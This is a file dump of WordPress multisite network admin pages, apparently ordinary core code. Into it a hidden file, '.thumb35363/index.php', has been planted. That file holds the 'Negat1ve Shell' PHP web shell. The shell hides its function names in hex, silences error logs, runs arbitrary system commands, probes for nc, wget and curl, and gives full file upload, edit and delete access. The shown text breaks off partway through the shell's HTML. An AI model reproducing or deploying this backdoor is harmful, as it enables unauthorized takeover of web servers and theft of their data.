wp-admin/network/site-users.php */ if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?> <h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2> <form action="site-users.php?action=adduser" id="adduser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td> </tr> <tr> <th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_adduser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?> </form> <?php endif; ?> <?php /** * Filters whether to show the Add New User form on the Multisite Users screen. * * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels, * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above. * * @since 3.1.0 * * @param bool $bool Whether to show the Add New User form. Default true. */ if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?> <h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2> <form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td> </tr> <tr> <th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th> <td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td> </tr> <tr> <th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_newuser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?> </form> <?php endif; ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; user-new.php 0000644 00000012154 15125210212 0007014 0 ustar 00 <?php /** * Add User network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'create_users' ) ) { wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' . '<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) { check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( ! is_array( $_POST['user'] ) ) { wp_die( __( 'Cannot create an empty user.' ) ); } $user = wp_unslash( $_POST['user'] ); $user_details = wpmu_validate_user_signup( $user['username'], $user['email'] ); if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) { $add_user_errors = $user_details['errors']; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) ); if ( ! $user_id ) { $add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) ); } else { /** * Fires after a new user has been created via the network user-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_user_new_created_user', $user_id ); wp_redirect( add_query_arg( array( 'update' => 'added', 'user_id' => $user_id, ), 'user-new.php' ) ); exit; } } } $message = ''; if ( isset( $_GET['update'] ) ) { if ( 'added' === $_GET['update'] ) { $edit_link = ''; if ( isset( $_GET['user_id'] ) ) { $user_id_new = absint( $_GET['user_id'] ); if ( $user_id_new ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) ); } } $message = __( 'User added.' ); if ( $edit_link ) { $message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) ); } } } // Used in the HTML title tag. $title = __( 'Add User' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1> <?php if ( '' !== $message ) { wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) { $error_messages = ''; foreach ( $add_user_errors->get_error_messages() as $error ) { $error_messages .= "<p>$error</p>"; } wp_admin_notice( $error_messages, array( 'type' => 'error', 'dismissible' => true, 'id' => 'message', 'paragraph_wrap' => false, ) ); } ?> <form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate"> <p><?php echo wp_required_field_message(); ?></p> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td> </tr> <tr class="form-field form-required"> <th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php /** * Fires at the end of the new user form in network admin. * * @since 4.5.0 */ do_action( 'network_user_new_form' ); wp_nonce_field( 'add-user', '_wpnonce_add-user' ); submit_button( __( 'Add User' ), 'primary', 'add-user' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; update-core.php 0000644 00000000375 15125210212 0007461 0 ustar 00 <?php /** * Updates network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/update-core.php'; upgrade.php 0000644 00000011546 15125210212 0006702 0 ustar 00 <?php /** * Multisite upgrade administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require_once ABSPATH . WPINC . '/http.php'; // Used in the HTML title tag. $title = __( 'Upgrade Network' ); $parent_file = 'upgrade.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' . '<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' . '<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( ! current_user_can( 'upgrade_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } echo '<div class="wrap">'; echo '<h1>' . __( 'Upgrade Network' ) . '</h1>'; $action = isset( $_GET['action'] ) ? $_GET['action'] : 'show'; switch ( $action ) { case 'upgrade': $n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0; if ( $n < 5 ) { /** * @global int $wp_db_version WordPress database version. */ global $wp_db_version; update_site_option( 'wpmu_upgrade_site', $wp_db_version ); } $site_ids = get_sites( array( 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'network_id' => get_current_network_id(), 'number' => 5, 'offset' => $n, 'fields' => 'ids', 'order' => 'DESC', 'orderby' => 'id', 'update_site_meta_cache' => false, ) ); if ( empty( $site_ids ) ) { echo '<p>' . __( 'All done!' ) . '</p>'; break; } echo '<ul>'; foreach ( (array) $site_ids as $site_id ) { switch_to_blog( $site_id ); $siteurl = site_url(); $upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' ); restore_current_blog(); echo "<li>$siteurl</li>"; $response = wp_remote_get( $upgrade_url, array( 'timeout' => 120, 'httpversion' => '1.1', 'sslverify' => false, ) ); if ( is_wp_error( $response ) ) { wp_die( sprintf( /* translators: 1: Site URL, 2: Server error message. */ __( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ), $siteurl, '<em>' . $response->get_error_message() . '</em>' ) ); } /** * Fires after the Multisite DB upgrade for each site is complete. * * @since MU (3.0.0) * * @param array $response The upgrade response array. */ do_action( 'after_mu_upgrade', $response ); /** * Fires after each site has been upgraded. * * @since MU (3.0.0) * * @param int $site_id The Site ID. */ do_action( 'wpmu_upgrade_site', $site_id ); } echo '</ul>'; ?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p> <script type="text/javascript"> <!-- function nextpage() { location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"; } setTimeout( "nextpage()", 250 ); //--> </script> <?php break; case 'show': default: if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) : ?> <h2><?php _e( 'Database Update Required' ); ?></h2> <p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p> <?php endif; ?> <p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p> <p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p> <?php /** * Fires before the footer on the network upgrade screen. * * @since MU (3.0.0) */ do_action( 'wpmu_upgrade_page' ); break; } ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> privacy.php 0000644 00000000371 15125210212 0006722 0 ustar 00 <?php /** * Network Privacy administration panel. * * @package WordPress * @subpackage Multisite * @since 4.9.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/privacy.php'; .thumb35363/index.php 0000644 00000076704 15125210212 0010172 0 ustar 00 hmei7 <?php $shellName = 'Negat1ve Shell'; $logo = 'https://static.wikia.nocookie.net/central/images/1/12/Pacman2.jpg'; $func = ["7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65", "7363616e646972", "73797374656d", "65786563", "7061737374687275", "7368656c6c5f65786563", "6f625f6765745f636f6e74656e7473", "6f625f656e645f636c65616e", "6469726e616d65", "6469736b5f746f74616c5f7370616365", "6469736b5f667265655f7370616365", "696e695f676574", "707265675f6d617463685f616c6c", "706f7369785f6765747077756964", "706f7369785f6765746772676964", "70617468696e666f", "66696c656f776e6572", "66696c6567726f7570", "66696c6574797065", "676574486f73744e616d65", "676574486f737442794e616d65", "737562737472", "737472737472", "696e695f736574", "66696c65", "7374725f7265706c616365", "6578706c6f6465", "6576616c", "6f625f7374617274", "66756e6374696f6e5f657869737473", "6572726f725f7265706f7274696e67", "7365745f74696d655f6c696d6974", "636c656172737461746361636865", "646174655f64656661756c745f74696d657a6f6e655f736574", "666c757368", "7374726c656e", "7472696d", "656d707479", "6973736574", "66696c657065726d73", "7374726c656e", "636f756e74", "726f756e64", "6d696d655f636f6e74656e745f74797065", "6765745f63757272656e745f75736572", "6765746d79756964", "6765746d79676964", "706f7369785f67657465756964", "706f7369785f67657465676964"]; for ($i = 0; $i < count($func); $i++) { $func[$i] = dehex($func[$i]); } session_start(); $func[50](0); @$func[51](0); @$func[52](); @$func[43]('error_log', null); @$func[43]('log_errors',0); @$func[43]('max_execution_time',0); @$func[43]('output_buffering',0); @$func[43]('display_errors', 0); $func[53]("Asia/Jakarta"); if (isset($_GET['dir'])) { $dir = $_GET['dir']; $func[3]($dir); } else { $dir = $func[2](); } $d0mains = @$func[44]("/etc/named.conf", false); if (!$d0mains) { $dom = "<font class='text-danger'>Can't Read /etc/named.conf</font>"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@$func[43]($d0main, "zone")) { $func[32]('#zone "(.*)"#', $d0main, $domains); $func[54](); if ($func[55]($func[56]($domains[1][0])) > 2){ $func[54](); $count++; } } } $dom = "<font class='text-success'>$count Domain</font>"; } $dir = $func[45]("\\", "/", $dir); $scdir = $func[46]("/", $dir); $total = $func[29]($dir); $free = $func[30]($dir); $pers = (int) ($free / $total * 100); $ds = @$func[31]("disable_functions"); $show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>"; $cmd_uname = exe("uname -a"); $uname = $func[49]('php_uname') ? $func[41](@$func[0](), 0, 120) : ($func[55]($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !'); if (strtolower($func[41](PHP_OS, 0, 3)) == "win") { $sys = "win"; } else { $sys = "unix"; } if (isset($_GET['do'])) { $do = $_GET['do']; if ($do == 'delete') { if ($func[12]($dir)) { if (deleter($dir)) { flash("File/Folder deleted successfully!", "Success", "success", "?dir=" . dirname($dir)); } else { flash("File/Folder failed to delete!", "Failed", "danger"); } } else { flash("File/Folder is doesn't exist!", "Failed", "warning"); } } else if ($do == 'download') { if ($func[12]($dir)) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[10]($dir)); header("Content-disposition: attachment; filename=\"".basename($dir)."\""); } else { flash("File is doesn't exist!", "Failed", "warning"); } } } else { $do = 'filesman'; $title = 'Files Manager'; $icon = 'archive'; } ((isset($_POST["foldername"])) ? ($func[12]("$dir/{$_POST['foldername']}") ? flash("Folder name is exist!", "Failed", "warning") : ($func[15]("$dir/{$_POST['foldername']}") ? flash("Folder created successfully!", "Success", "success") : flash("Folder failed to create!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['filecontent'])) ? ($func[12]("$dir/{$_POST['filename']}") ? flash("File name is exist!", "Failed", "warning") : ($func[13]("$dir/{$_POST['filename']}", $_POST['filecontent']) ? flash("File created successfully!", "Success", "success") : flash("File failed to create!", "Failed", "danger"))) : null); ((isset($_POST["newname"]) && isset($_POST['oldname'])) ? ($func[12]("$dir/{$_POST['newname']}") ? flash("File/Folder name is exist!", "Failed", "warning") : ($func[16]("$dir/{$_POST['oldname']}", $_POST['newname']) ? flash("File/Folder renamed successfully!", "Success", "success") : flash("File/Folder failed to rename!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['content'])) ? ($func[13]("$dir/{$_POST['filename']}", $_POST['content']) ? flash("File saved successfully!", "Success", "success") : flash("File failed to save!", "Failed", "danger")) : null); if (isset($_FILES["uploadfile"])) { $n = $_FILES["uploadfile"]["name"]; for ($i = 0; $i < count($n); $i++) { if ($func[11]($_FILES["uploadfile"]["tmp_name"][$i], $n[$i])) { flash("File uploaded successfully!", "Success", "success"); } else { flash("File failed to upload!", "Failed", "danger"); } } } if (@$func[31]('open_basedir')) { $basedir_data = @$func[31]('open_basedir'); if ($func[55]($basedir_data) > 120){ $open_b = "<font class='text-success'>" . $func[41]($basedir_data, 0, 120) . "...</font>"; } else { $open_b = '<font class="text-success">' . $basedir_data . '</font>'; } } else { $open_b = '<font class="text-warning">NONE</font>'; } if (!$func[49]('posix_getegid')) { $user = $func[49]("get_current_user") ? @$func[64]() : "????"; $uid = $func[49]("getmyuid") ? @$func[65]() : "????"; $gid = $func[49]("getmygid") ? @$func[66]() : "????"; $group = "?"; } else { $uid = $func[49]("posix_getpwuid") && $func[49]("posix_geteuid") ? @$func[33]($func[67]()) : ["name" => "????", "uid" => "????"]; $gid = $func[49]("posix_getgrgid") && $func[49]("posix_getegid") ? @$func[34]($func[68]()) : ["name" => "????", "gid" => "????"]; $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } if ($sys == 'unix') { if (!@$func[31]('safe_mode')) { if ($func[55](exe("id")) > 0) { $userful = ['gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl']; $x = 0; foreach ($userful as $i) { if (which($i)) { $x++; $useful .= $i . ', '; } } if ($x == 0) { $useful = '--------'; } $downloaders = ['wget','fetch','lynx','links','curl','get','lwp-mirror']; $x = 0; foreach($downloaders as $i) { if (which($i)) { $x++; $downloader .= $i . ', '; } } if ($x == 0) { $downloader = '--------'; } } } } function hex($str) { global $func; $r = ""; for ($i = 0; $i < $func[55]($str); $i++) { $r .= dechex(ord($str[$i])); } return $r; } function dehex($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function formatSize($bytes) { $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ ); return( round( $bytes, 2 )." ".$types[$i] ); } function perms($file) { global $func; $perms = fileperms($file); if (($perms & 0xC000) == 0xC000){ $info = 's'; }elseif (($perms & 0xA000) == 0xA000){ $info = 'l'; }elseif (($perms & 0x8000) == 0x8000){ $info = '-'; }elseif (($perms & 0x6000) == 0x6000){ $info = 'b'; }elseif (($perms & 0x4000) == 0x4000){ $info = 'd'; }elseif (($perms & 0x2000) == 0x2000){ $info = 'c'; }elseif (($perms & 0x1000) == 0x1000){ $info = 'p'; }else{ $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $func[41](sprintf('%o', $perms), -4) . ' >> ' .$info; } function exe($in) { global $func; $out = ''; try { if ($func[49]('exec')) { @$func[23]($in, $out); $out = @join("\n", $out); } elseif ($func[49]('passthru')) { $func[48](); @passthru($in); $out = $func[27](); } elseif($func[49]('system')) { $func[48](); @system($in); $out = $func[27](); } elseif ($func[49]('shell_exec')) { $out = $func[25]($in); } elseif ($func[49]("popen") && $func[49]("pclose")) { if (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f, 1024); pclose($f); } } elseif ($func[49]('proc_open')) { $pipes = []; $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null); $out = @stream_get_contents($pipes[1]); } elseif (class_exists('COM')) { $ws = new COM('WScript.shell'); $exec = $ws->exec('cmd.exe /c '.$in); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } catch(Exception $e) {} return $out; } function checkName($name) { global $func; if ($func[55]($name) > 18) { return $func[41]($name, 0, 18) . "..."; } return $name; } function checkPerm($dir, $perm) { global $func; $perm = explode('>>', $perm); if ($func[8]($dir)) { return "<font class='text-success'>".$perm[0]."</font> >> <font class='text-success'>".$perm[1]."</font>"; } elseif (!$func[9]($dir)) { return "<font class='text-danger'>".$perm[0]."</font> >> <font class='text-danger'>".$perm[1]."</font>"; } else { return "<font class='text-secondary'>".$perm[0]."</font> >> <font class='text-secondary'>".$perm[1]."</font>"; } } function getowner($item) { global $func; if ($func[49]("posix_getpwuid")) { $downer = @$func[33](fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if ($func[49]("posix_getgrgid")) { $dgrp = @$func[34](filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } function geticon($file) { global $func; $ext = strtolower($func[35]($file, PATHINFO_EXTENSION)); if ($ext == 'php' || $ext == 'html' || $ext == 'js' || $ext == 'css' || $ext == 'py' || $ext == 'perl' || $ext == 'sh') { return 'file-code'; } else if ($ext == 'pdf') { return 'file-pdf'; } else if ($ext == 'txt') { return 'file-alt'; } else if ($ext == 'csv') { return 'file-csv'; } else if ($ext == 'jpg' || $ext == 'png' || $ext == 'jpeg' || $ext == 'gif') { return 'file-image'; } else if ($ext == 'mp4' || $ext == '3gp' || $ext == 'mkv') { return 'file-video'; } else if ($ext == 'docx' || $ext == 'doc' || $ext == 'docm') { return 'file-word'; } else if ($ext == 'ppt' || $ext == 'pptx') { return 'file-powerpoint'; } else if ($ext == 'xlsx' || $ext == 'xlsb' || $ext == 'xlsm' || $ext == 'xltx' || $ext == 'xltm') { return 'file-excel'; } else if ($ext == 'mp3' || $ext == 'wav') { return 'file-audio'; } else if ($ext == 'sql' || $ext == 'db') { return 'database'; } else if ($ext == 'zip' || $ext == 'tar' || $ext == 'gz' || $ext == 'tar.gz' || $ext == '7z' || $ext == 'bz2') { return 'file-archive'; } else { return 'file'; } } function which($p) { global $func; $path = exe('which ' . $p); if (!empty($path)) { return $func[55]($path); } return false; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } function deleter($d) { global $func; if (trim($func[35]($d, PATHINFO_BASENAME), '.') === '') { return false; }; if ($func[6]($d)) { array_map("deleter", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($d); return true; } else { unlink($d); return true; } return false; } $scandir = $func[21]($dir); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <title><?= $shellName ?></title> </head> <body> <div class="container-lg"> <nav class="navbar navbar-light bg-light"> <div class="container-fluid"> <a class="navbar-brand" href="?"> <img src="<?= $logo ?>" alt="logo" width="30" height="24" class="d-inline-block align-text-top"> <?= $shellName ?> </a> </div> </nav> <?php if (isset($_SESSION['message'])) : ?> <div class="alert alert-<?= $_SESSION['class'] ?> alert-dismissible fade show my-3" role="alert"> <strong><?= $_SESSION['status'] ?>!</strong> <?= $_SESSION['message'] ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; clear(); ?> <div id="tool"> <div class="d-flex justify-content-center flex-wrap my-3"> <a href="?" class="m-1 btn btn-outline-dark btn-sm"><i class="fa fa-home"></i> Home</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfile" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-file-plus"></i> New File</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfolder" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-folder-plus"></i> New Folder</a> </div> <div class="row"> <div class="col-md-12"> <div class="collapse" id="upload" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post" enctype="multipart/form-data"> <div class="input-group"> <input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload"> <button class="btn btn-outline-dark" type="submit" id="inputGroupFileAddon04">Upload</button> </div> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfile" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">File Name</label> <input type="text" class="form-control" name="filename" placeholder="negat1ve.txt"> </div> <div class="mb-3"> <label class="form-label">File Content</label> <textarea class="form-control" rows="5" name="filecontent"></textarea> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfolder" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">Folder Name</label> <input type="text" class="form-control" name="foldername" placeholder="negat1ve"> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Server Information </h5> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <tr> <td>Operating System</td> <td> : <?= $uname ?></td> </tr> <tr> <td>PHP Version</td> <td> : <?= $func[1]() ?></td> </tr> <tr> <td>Storage</td> <td class="d-flex">: Total = <?= formatSize($total) ?>, Free = <?= formatSize($free) ?> [<?= $pers ?>%]</td> </tr> <tr> <td>Disable Functions</td> <td>: <?= $show_ds ?></td> </tr> <tr> <td colspan="2">CURL : <?= $func[49]('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | SSH2 : <?= $func[49]('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Magic Quotes : <?= $func[49]('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MySQL : <?= $func[49]('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MSSQL : <?= $func[49]('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | PostgreSQL : <?= $func[49]('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Oracle : <?= $func[49]('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td> </tr> <tr> <td colspan="2">Safe Mode : <?= @$func[31]('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir : <?= @$func[31]('safe_mode_exec_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_exec_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?> | Safe Mode Include Dir : <?= @$func[31]('safe_mode_include_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_include_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?></td> </tr> </table> </div> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Path </h5> <nav aria-label="breadcrumb" style="--bs-breadcrumb-divider: '>';"> <ol class="breadcrumb"> <?php $numDir = count($scdir); foreach ($scdir as $id => $pat) { if ($pat == '' && $id == 0) { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=/">/</a></li>'; continue; } if ($pat == '') continue; if ($id + 1 == $numDir) { echo '<li class="breadcrumb-item active" aria-current="page">'.$pat.'</li>'; } else { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir='; for ($i = 0; $i <= $id; 